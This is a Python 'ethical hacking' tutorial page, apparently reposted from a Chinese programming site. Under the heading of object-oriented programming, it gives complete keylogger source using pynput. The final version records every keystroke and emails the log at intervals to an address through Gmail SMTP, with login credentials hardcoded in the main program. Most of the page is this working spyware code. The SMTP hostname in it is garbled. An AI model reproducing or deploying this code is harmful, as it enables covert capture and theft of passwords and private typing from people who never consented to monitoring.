Object-Oriented Programming
Keylogger Classes
Way of modeling program(blueprint). Logically group functions and data. Makes code more readable. More reusable. Separate implementation from usage(encapsulation). Easier to extend. Easier to maintain.The Keylogger Class:
#!/usr/bin/env python
import threading
import pynput.keyboard
log = ""
class Keylogger:
def process_key_press(self, key):
global log
try:
log = log + str(key.char)
except AttributeError:
if key == key.space:
log = log + " "
else:
log = log + " " + str(key) + " "
def report(self):
global log
print(log)
log = ""
timer = threading.Timer(10, self.report)
timer.start()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
The main Python program calling the Keylogger Class:
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger() my_keylogger.start()
Constructor Method & Instance Variables:
AKA initialization method. Gets executed automatically when a class is created.#!/usr/bin/env python
import threading
import pynput.keyboard
class Keylogger:
def __init__(self):
self.log = ""
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
print(self.log)
self.log = ""
timer = threading.Timer(10, self.report)
timer.start()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
Polish the Python Class Code once more to log Key-strikes and report them by email.
#!/usr/bin/env python
import threading
import smtplib
import pynput.keyboard
class Keylogger:
def __init__(self, time_interval, email, password):
self.log = "Keylogger started"
self.interval = time_interval
self.email = email
self.password = password
def append_to_log(self, string):
self.log = self.log + string
def process_key_press(self, key):
try:
current_key = str(key.char)
except AttributeError:
if key == key.space:
current_key = " "
else:
current_key = " " + str(key) + " "
self.append_to_log(current_key)
def report(self):
print(self.log)
self.send_mail(self.email, self.password, "\n\n" + self.log)
self.log = ""
timer = threading.Timer(self.interval, self.report)
timer.start()
def send_mail(self, email, password, message):
server = smtplib.SMTP("smtp.gmail测试数据", 587)
server.starttls()
server.login(email, password)
server.sendmail(email, email, message)
server.quit()
def start(self):
keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
with keyboard_listener:
self.report()
keyboard_listener.join()
Main program:
#!/usr/bin/env python import keylogger my_keylogger = keylogger.Keylogger(120, "[email protected]", "12345678") my_keylogger.start()
查看更多关于Python Ethical Hacking - KEYLOGGER(3)的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://haodehen.cn/did170793